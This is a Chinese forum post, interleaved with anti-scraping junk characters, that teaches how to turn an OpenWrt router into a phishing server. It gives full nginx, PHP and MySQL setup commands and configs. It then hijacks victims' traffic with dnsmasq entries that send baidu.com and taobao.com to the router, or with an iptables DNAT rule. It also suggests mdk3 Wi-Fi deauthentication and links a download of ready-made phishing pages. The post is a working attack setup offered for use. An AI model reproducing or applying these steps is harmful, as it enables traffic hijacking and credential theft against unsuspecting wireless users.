上校
- 注册时间
- 2009-10-11
- 金币
- 14196 个
- 威望
- 2 个
- 荣誉
- 1 个
累计签到:1700 天 连续签到:1 天 [LV.1825]无线元老
|
本帖最后由 476867546 于 2016-3-10 17:33 编辑 : g: H2 g' r6 f" c8 W
$ X4 z7 a1 ^1 g( g+ c, i; y Openwrt 无线路由器搭建php服务器实现钓鱼.
: _/ v$ S" j" v* h 本人也是小白,都是在网上找的资料.已成功搭建钓鱼环境,现分享给大家.教程只演示不带USB口的.#无线路由器刷Openwrt要求16M闪存.带USB接口或不带都行(带的网址放U盘里.不带的放路由器目录里)% [% ^% m( l+ G" ~: k2 u
( {" p- \& S7 K. |* V0 z& U准备工作:) Z* f& V) W) S2 M6 ] X) ]' u
winSCP连接路由在/www下建立一个sda/www文件夹
! h3 E- ?4 Z1 B& B4 a E7 G4 k2 O' H- I" g4 x$ r6 ?. w6 u
1.安装nginx+php+mysql
0 h- h$ Y6 N; l! b$ i- S9 G) p+ p3 J% g, h" v4 f
进路由里修改openwrt安装源如下:
+ G8 N# O' a3 A2 pdest root /
; O0 T) }. L% d! \dest ram /tmp
4 S6 V+ ^9 A: {5 C( C" klists_dir ext /var/opkg-lists
9 m8 m) h) T& k: woption overlay_root /overlay
" k( @$ W* x6 a9 bsrc/gz chaos_calmer_base http://downloads.openwrt.org/cha ... neric/packages/base
/ R0 R0 c3 T: a$ O2 Q( hsrc/gz chaos_calmer_packages http://downloads.openwrt.org/cha ... c/packages/packages
+ g4 ~+ m9 E5 D4 F9 xsrc/gz chaos_calmer_routing http://downloads.openwrt.org/cha ... ic/packages/routing) S8 `6 S+ |8 A6 n g
src/gz chaos_calmer_telephony http://downloads.openwrt.org/cha ... /packages/telephony( [4 M8 h9 _5 u
src/gz chaos_calmer_management http://downloads.openwrt.org/cha ... packages/management
! R" G, a. J. O, X+ o+ K& b% B" j打开putty终端更新并安装软件.
/ Z$ E2 z8 g( r8 B( Xopkg update$ ]$ d! b, k* u+ ^* E9 n; E
opkg install php5 php5-mod-gd php5-mod-session php5-mod-pdo php5-mod-pdo-mysql php5-mod-mysql php5-mod-mcrypt php5-mod-mbstring php5-fastcgi php5-cgi php5-mod-xml php5-mod-ctype php5-mod-curl php5-mod-exif php5-mod-ftp php5-mod-iconv php5-mod-json php5-mod-sockets php5-mod-sqlite3 php5-mod-tokenizer php5-mod-zip* `1 \; e3 _' \8 G
% A. n' S! j& w& O, ]opkg install mysql-server
) h- @; n: S9 l' N
; n* y2 o& Y. ?; C, i) w6 Zopkg install nginx spawn-fcgi zoneinfo-core zoneinfo-asia5 J! ?/ J+ c1 |8 Z/ y5 K
( g9 f5 }6 j+ q9 E5 n4 h/ Y
opkg install shadow-groupadd shadow-useradd! i/ i, w: E# x; X2 J+ B! r. b2 t
$ |. w8 T, l; g, Wgroupadd www
5 B: U _: h% q! ?+ [' s( n' E
4 ^. R8 c! C2 x* L4 V( C3 p. t2 |2 ]useradd -g www www
S W8 [# C7 v# u' M7 T; n
8 \( `, d8 ]0 l- Schown -R www:www /www/sda/www重启!8 p2 {3 {8 j( C. n }- {
winSCP连接路由修改/etc/my.cnf(改掉这两段)
5 _) R) \- N/ M- Q6 R' P- v# ]! o4 Cdatadir = /www/sda/data/mysql/
3 d' ]5 w! D* Y1 ^tmpdir = /www/sda/data/tmp/7 @8 O: {9 R3 x& g$ w- q
& T0 c9 ^% R S2 l& l# G' F
5 b) v& |1 U* s' }, h创建数据库文件夹9 k& ^9 @9 S* ?- B
mkdir -p /www/sda/data /www/sda/data/mysql /www/sda/data/tmp& g( S1 q3 m( M5 M
+ f- D9 F b1 D7 J% w
创建默认的数据库- s U9 Y! q+ q6 f( w# b
/usr/bin/mysql_install_db --force9 \, n- a# A' X! c9 M4 h( [* }8 Z3 J! @
0 n+ @, v9 |# V3 N7 o6 t
启动mysql
6 B, w$ i; C3 C% H/etc/init.d/mysqld start
# |/ w# b7 o1 o. r, m$ C) a3 c( @( [2 _输入如下命令创建mysql的密码7 ?( R1 Y. D6 ~
/usr/bin/mysqladmin -u root password 123456
! e% F! B- @, e4 N0 v登陆数据库
% r; D& i* ]3 |& i& K' umysql -u root -p
{. u! F( q# b4 B9 i8 E8 ^8 E, }/ G
4 w, C- s7 E V7 E- V/ y& D修改/etc/nginx/nginx.conf
/ [6 k8 v+ z! nuser www www;! ~9 z3 e, j1 r9 Y/ O( [
worker_processes 1;
* B9 ? D c6 I8 Z* \pid /var/run/nginx.pid;
+ i, W& D0 q, {( J) k- zerror_log /var/log/nginx_error.log;5 j2 v5 E7 ?% r O! N; D' @
events {) e: \8 u! s% x
use epoll;
% ^6 t" x) F/ F; V+ {5 X) s worker_connections 1024;4 l5 E( q' H* {
}& ~3 s% U. G2 x A* ^& \
* p" @2 C0 ^! ?3 N: N1 y0 {6 ^5 {4 Q; f3 g* M7 Z' X O
http {3 }" I& j: i2 P- {' A" x8 w0 O
include mime.types;
G9 O2 z! j& l6 M* A, J; u default_type application/octet-stream;$ ?. D! X" w; U+ j3 y3 O: ?
sendfile on;
( a9 ?! M9 h- A/ E& ?$ n tcp_nopush on;
* h% ]8 ?. [1 n$ Y. S #keepalive_timeout 0;9 O% @! G' `& k/ K; z* y
keepalive_timeout 65;, J. S5 I. i2 Q
gzip on;6 V3 {$ W3 N# B& B( h$ r
access_log off;
4 H) b$ Z2 [$ q; R $ u1 P3 z" r' c7 ?; i4 W
include vhost.conf;& s5 D0 k8 J3 E5 R5 E5 T- m" w
}
: y+ ^. Y" n# \1 B x' ~& }$ D$ V) I& o* g" _
修改/etc/nginx/fastcgi_params5 V7 J- Y4 {4 A5 E0 B$ H0 l" S
if ($request_filename ~* (.*)\.php) {
8 H3 ]1 c" I; v% P9 t( k set $php_url $1;: f) C3 O3 N4 x( u8 R% n
}4 p" f3 I4 q6 }4 F, \5 q/ Y0 i. q
if (!-e $php_url.php) {7 @% F! S4 N/ t! r, c+ G) [# L6 o' T
return 403;) ?, z- e8 S( a" ^/ X
}
+ E$ [4 I3 k$ A* V+ s' d( m" C# W( A3 k( J$ y' H* L
E% E7 S3 z- q! \; F1 p# I
fastcgi_param QUERY_STRING $query_string;2 ?# D- t5 C* L5 k; V( z K
fastcgi_param REQUEST_METHOD $request_method;; D) b' v( G2 g9 ^" a1 m1 r
fastcgi_param CONTENT_TYPE $content_type;4 S/ V. N @8 m. c+ T! X4 {
fastcgi_param CONTENT_LENGTH $content_length;
& n4 A9 E, W4 f% @9 C1 ^" f1 u( x- ^: J' i# J/ C6 p$ m" [' O3 d
+ M8 U; O. B# e0 y0 q2 ufastcgi_param SCRIPT_NAME $fastcgi_script_name;" d6 u, O. o! ^# @& T
fastcgi_param REQUEST_URI $request_uri;
X0 W0 D+ m% G0 l9 L ^fastcgi_param DOCUMENT_URI $document_uri;
2 P& A; ?" a- C* S. y3 pfastcgi_param DOCUMENT_ROOT $document_root;
$ g" t) I6 V8 G1 {fastcgi_param SERVER_PROTOCOL $server_protocol;- t- m6 y7 C! k4 E
" y+ W$ U9 y$ r+ _+ D; e+ }" N0 ^' P! c
fastcgi_param GATEWAY_INTERFACE CGI/1.1;% v% x( L* H/ p* d" ~
fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;, _+ O# m1 P0 v, W1 l# |: B4 G5 a% m, R
7 M' c v3 N: H. Z( k+ Z: W1 V' r( z7 w c& c: n: X" i
fastcgi_param REMOTE_ADDR $remote_addr;2 b# O# F5 B Y- W+ K1 U
fastcgi_param REMOTE_PORT $remote_port;
, Y4 f, o3 ?& u6 g8 s3 J# T @fastcgi_param SERVER_ADDR $server_addr;
. K h: S, ~4 M! w1 t7 Jfastcgi_param SERVER_PORT $server_port;" D( _& ]+ C8 Z& A/ j* D& n; d
fastcgi_param SERVER_NAME $server_name;
r( w3 ]( i/ `2 S* r+ Z6 }$ w5 ]0 y1 h) Y" Q" f" u5 x. d: M
4 H3 ?6 }# z6 |# PHP only, required if PHP was built with --enable-force-cgi-redirect
8 j8 N3 n& H$ S$ W* V+ Vfastcgi_param REDIRECT_STATUS 200;# k* o* |0 R$ \& R( R) y
9 Z! \+ R6 j4 h7 {/ A! D8 p3 i7 H
添加文件/etc/nginx/vhost.conf' Q1 A7 a4 b, C
server {
& S# ?- K, Z: @" P listen 8000;2 M7 U( a, t5 p# ^! Q6 G+ t6 z% ~
server_name localhost;$ @- i" u3 _( E( @5 i! W' W% {/ T
root /www/sda/www;# P6 |* T, c0 v+ P$ X
index index.html index.htm index.php default.php;6 r$ W" V* h) l* _- G& @" O
error_page 500 502 503 504 /50x.html;
7 a; h) P8 H4 {2 g; Y7 G- O. P4 d& ^. l2 ]8 U& j
1 T, ]( | l/ {* `7 J7 Z3 }- R
location = /50x.html {
" D: Z! l* Q( x, }0 D root html;
, `2 P4 j. H. @7 F% F6 x7 `& b* j }
0 X0 N1 Z, Y$ v, B$ u" P, \ v" B* y' w/ n6 W" A3 G, X) }) o! @/ m! R
1 m* a9 r4 F `2 L) E location ~* ^.+\.php(\/.*)*$ {( H2 z) q0 A! \/ h
fastcgi_pass 127.0.0.1:9000;
4 \" E' f6 ^9 }. {2 b1 S fastcgi_index index.php;% j" p3 _4 O' L* r! b; ^
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;' T# }- u8 E4 B+ t4 q
include fastcgi_params;
, y2 J* X3 S% o0 o7 I8 p. m p. z }
/ m5 u, p8 y) j2 t( {- Y4 V* M& K}
( q" g& |2 x4 A& R- c+ z' L" u' M2 a2 J/ I5 I+ n7 S9 u4 [
修改/etc/php.ini
. }8 O2 W; h! k' p9 q' Ishort_open_tag = on
9 A: v5 p: b. Q( i& |# E#doc_root = "/www/www"
9 ?$ K. h* ^" W$ `. Q
1 d! E7 f0 O) N* T, }, F. E+ C6 S5 z$ M" x1 B8 l0 V! F: v
extension=ctype.so: y8 _2 f4 }! B
extension=curl.so
% ?) D. w7 y1 T3 L, w0 F* _: [8 O9 Y( lextension=gd.so
" r4 ?, i& D0 F) B3 Y' K% Pextension=mbstring.so
0 B2 }" ]( T; T s* o5 Bextension=mcrypt.so
- G- c0 H8 [. P$ F. |6 M6 fextension=mysql.so, I! ?* e5 ?. n; D1 O, W- E1 |
extension=pdo.so
3 F; K& {; g9 d) a. N) P5 qextension=pdo_mysql.so
5 u d2 Z2 V; y6 |& bextension=session.so
) X. X3 w, V9 p* t' o7 e, cextension=sockets.so
0 X8 o& P0 _% S6 Gextension=tokenizer.so
( c* V2 L6 P$ z" G$ qextension=xml.so/ \* W# U, E( F
9 i, D8 x+ X! q* R# ]( m
. x' A2 U2 }. u* _" Z8 A: }[Date]
) Y) t" g$ z6 T1 G( S% }date.timezone = Asia/Shanghai1 u% j6 M" ~( I
) ^9 @1 ^% V/ J
! W, \$ D [: v[MySQL]
. }7 G j, o. ~( W# ~& \ `2 qmysql.default_socket = /var/run/mysqld.sock
% w( K8 j/ p* ?& E# l
, H- Y# z o X- l; E+ _& X+ p/ U启动spawn-fcgi(开机自动运行,将命令添加到/etc/rc.local)
6 a' W7 l1 O `! q) m( x! Q/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 2 -f /usr/bin/php-cgi) Y8 Y% A% y( M1 m% y/ ]
7 {( U! Z. L' B7 }& |' |, w
启动nginx4 y0 k+ W+ ^8 z# N
/etc/init.d/nginx enable1 I6 v, D% p4 j+ U5 n0 l
/etc/init.d/nginx start
0 U4 k! V5 y8 ?5 J6 `: T5 G# _- Q7 P1 R
php服务器搭建完成重启.
0 a! v* p7 e" f- j/ S1 b把钓鱼网页放入/www/sda/www目录里.在浏览器输入192.168.1.1:8000打开页面.(能打开就成功一半了~_~ )
+ M* r" @+ }! M1 j; |# ^. s N6 ]! P( ]9 z. K# K0 x
& I ^+ D: N7 w' f+ _; B0 Y( N
2.网页跳转(有2种方法)
4 w* ~# V) K# T, Z1DNS跳转$ v0 f0 x7 b X) A' E
2防火墙重定向
+ s# H1 H7 s, J k1 dns跳转
& i; }( [3 h# ~4 T0 M! R修改etc/dnsmasq.conf(需要输入对应网址才跳转)+ G4 k' ~# b0 L) |. I( [/ r
address=/www.baidu.com/192.168.1.1
4 v& F# G( [ y) `: B; [address=/www.taobao.com/192.168.1.1) F. B7 n! M# M( W4 G3 P
2 防火墙重定向(需要联网才跳转)
4 l" {0 @& z) |4 P修改防火墙自定义规则:
& V/ L$ h- \1 D# yiptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.1.1:80. z' D9 k4 v1 }% Q
最后修改/etc/nginx/vhost.conf 端口为800 Z9 v2 I) Y5 a4 P. ^6 N
& S; A- R" f; ? D- |' m v: ]
( J% k# X2 h# H+ C; G5 T/ Z
7 t9 P% C6 D$ r6 F' M5 O: _# p w: n' x3 n+ h* |
重启后打开baidu网页即跳转7 ]- o4 o* [ [. m7 i) @
' z: c& b9 I$ @7 ]( Q
3 \( l$ K' x- y. i3 w
7 W$ M2 W, J0 U, r$ t( i
, K8 w, s1 O) h, y) O& H; f
使用samba映射www文件夹查看MM4 |+ t5 ]$ ]& O
: Y) m) L- d3 y0 t) u
有usb口就插个网卡进行mdk3.....2 O5 s h* x/ p+ K5 a1 V* S- }# I+ t
W' R/ I4 [! ?; y4 I# R
7 P. \% J9 }9 p. J+ p
. L$ ]) M9 x0 C$ c* I1 S. _) Y$ ]; [8 [- m! F9 _
2 k' X7 ?6 ]2 `* Z& p7 ]4 g; g$ M) d- C0 P! y% G
4 `* P9 q# b) l" S A8 ^+ ~! e* \) N$ M9 y X( F* x
3 ^3 j, D' Z% Q: J2 J! }
补充内容 (2017-6-25 20:19):1 u }2 ~9 Z1 x1 d2 f
钓鱼页面下载 http://pan.baidu.com/s/1o8BK7Ui+ H# u% o7 r0 N6 q3 M9 P3 m
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
x
评分
-
1
查看全部评分
-
|